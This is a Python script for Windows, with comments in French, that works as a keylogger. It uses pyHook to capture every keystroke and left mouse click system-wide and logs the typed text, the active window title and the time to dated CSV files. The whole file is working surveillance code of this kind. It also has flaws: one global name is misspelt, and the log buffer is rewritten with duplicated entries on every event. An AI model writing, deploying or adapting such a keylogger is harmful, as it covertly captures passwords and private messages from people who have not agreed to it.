import pythoncom, pyHook, time,sys,os
from time import localtime

texte=''
win=''
timec=''
def OnKeyboardEvent(event):
  global texte,win,timec,resac,logile
  def Twrite(data):
    logfile.write(data)
  if (win!=event.WindowName and win!='')or event.Key=='Return':
    resac=str(resac)+'keyboard'+'\t'+str(timec)+'\t'+str(win)+'\t'+str(texte)+'\n'
    Twrite(resac)
    #print 'Heure:',timec
    #print 'Application',win
    #print 'Texte:', texte##.encode('latin1')
    texte=''
  texte=texte+chr(event.Ascii)
  win=event.WindowName
  timec=time.ctime()
# return True to pass the event to other handlers
  return True

def OnMouseEvent(event):
  global texte,logfile,resac
  def Twrite(data):
    logfile.write(data)
  resac=str(resac)+'mouse'+'\t'+str(time.ctime())+'\t'+str(event.WindowName)+'\t'+str(texte)+'\n'
  Twrite(resac)
  # called when mouse events are received
  #print 'click souris'
  #print 'Time:',time.ctime()
  #print 'WindowName:',event.WindowName
  #print 'texte:',texte
# return True to pass the event to other handlerspy
  return True

def get_main_dir():
    try:
        sys.frozen
    except AttributeError:
        path = sys.argv[0]
    else:
        path = sys.executable
    return os.path.dirname(os.path.abspath(path))

oscurdir=get_main_dir()
jour=time.strftime('%d')
mois=time.strftime('%m')
annee=time.strftime('%Y')
def ifexist(rept):
    try:
        trylogfile = open(rept, mode ='r')
        trylogfile.close()
        return True
    except:
        return False
rep=oscurdir+os.sep+mois+annee+os.sep+jour+mois+annee
t=0
r=True
if os.access(oscurdir+os.sep+mois+annee,os.F_OK)==True:
    while r==True:
        t=t+1
        rept=str(rep)+str(t)+'.csv'
        r=ifexist(rept)
    logfile = open(rept, mode ='w+')
             
else:
    os.mkdir(mois+annee)
    while r==True:
        t=t+1
        rept=str(rep)+str(t)+'.csv'
        r=ifexist(rept)
    logfile = open(rept, mode ='w+')
resac=""
#resac='moment'+'\t'+'application'+'\t'+'texte'+'\n'    
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.MouseLeftDown = OnMouseEvent
# set the hook
hm.HookMouse()
# create a hook manager
#hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

